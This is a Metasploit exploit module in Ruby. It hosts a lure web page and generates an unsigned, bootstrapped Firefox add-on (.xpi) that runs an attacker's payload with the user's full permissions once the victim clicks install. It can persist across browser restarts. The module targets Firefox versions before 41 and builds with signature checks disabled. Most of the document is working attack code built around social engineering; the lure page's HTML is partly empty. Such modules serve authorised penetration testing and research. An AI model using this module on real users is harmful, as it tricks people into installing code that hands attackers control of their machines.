##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/zip'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::FirefoxAddonGenerator
def initialize( info = {} )
super( update_info( info,
'Name' => 'Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution',
'Description' => %q{
Mozilla Firefox before version 41 allowed users to install
unsigned browser extensions from arbitrary web servers.
This module dynamically creates an unsigned .xpi addon file.
The resulting bootstrapped Firefox addon is presented to
the victim via a web page. The victim's Firefox browser
will pop a dialog asking if they trust the addon.
Once the user clicks "install", the addon is installed and
executes the payload with full user permissions. As of Firefox
4, this will work without a restart as the addon is marked to
be "bootstrapped". As the addon will execute the payload after
each Firefox restart, an option can be given to automatically
uninstall the addon once the payload has been executed.
As of Firefox 41, unsigned extensions can still be installed
on Firefox Nightly, Unbranded and Development builds when
configured with `xpinstall.signatures.required` set to `false`.
Note: this module generates legacy extensions which are
supported only in Firefox before version 57.
},
'License' => MSF_LICENSE,
'Author' => [ 'mihi', 'joev' ],
'DisclosureDate' => '2007-06-27',
'References' => [
[ 'URL', 'https://blog.mozilla.org/addons/2015/02/10/extension-signing-safer-experience/' ],
[ 'URL', 'https://blog.mozilla.org/addons/2015/04/15/the-case-for-extension-signing/' ],
[ 'URL', 'https://support.mozilla.org/en-US/kb/frequently-asked-questions-firefox-addon' ],
[ 'URL', 'https://web.archive.org/web/20170727035940/https://developer.mozilla.org/en-US/Add-ons/Bootstrapped_extensions' ],
[ 'URL', 'https://web.archive.org/web/20160322014439/https://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector' ]
],
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, SCREEN_EFFECTS],
'Stability' => [CRASH_SAFE]
}
))
end
def on_request_uri(cli, request)
if request.uri.match(/\.xpi$/i)
# browser has navigated to the .xpi file
print_status("Sending xpi and waiting for user to click 'accept'...")
if not xpi = generate_addon_xpi(cli)
print_error("Failed to generate the payload.")
send_not_found(cli)
else
send_response(cli, xpi.pack, { 'Content-Type' => 'application/x-xpinstall' })
end
else
# initial browser request
# force the user to access a directory-like URL
if not request.uri.match(/\/$/)
print_status("Redirecting request." )
send_redirect(cli, "#{get_resource}/")
else
# user has navigated
print_status("Sending HTML response." )
send_response_html(cli, generate_html)
end
end
handler(cli)
end
def generate_html
html = %Q|Loading, Please Wait...\n|
html << %Q|\n|
html << %Q|Addon required to view this page. [Install]
\n|
html << %Q||
return html
end
end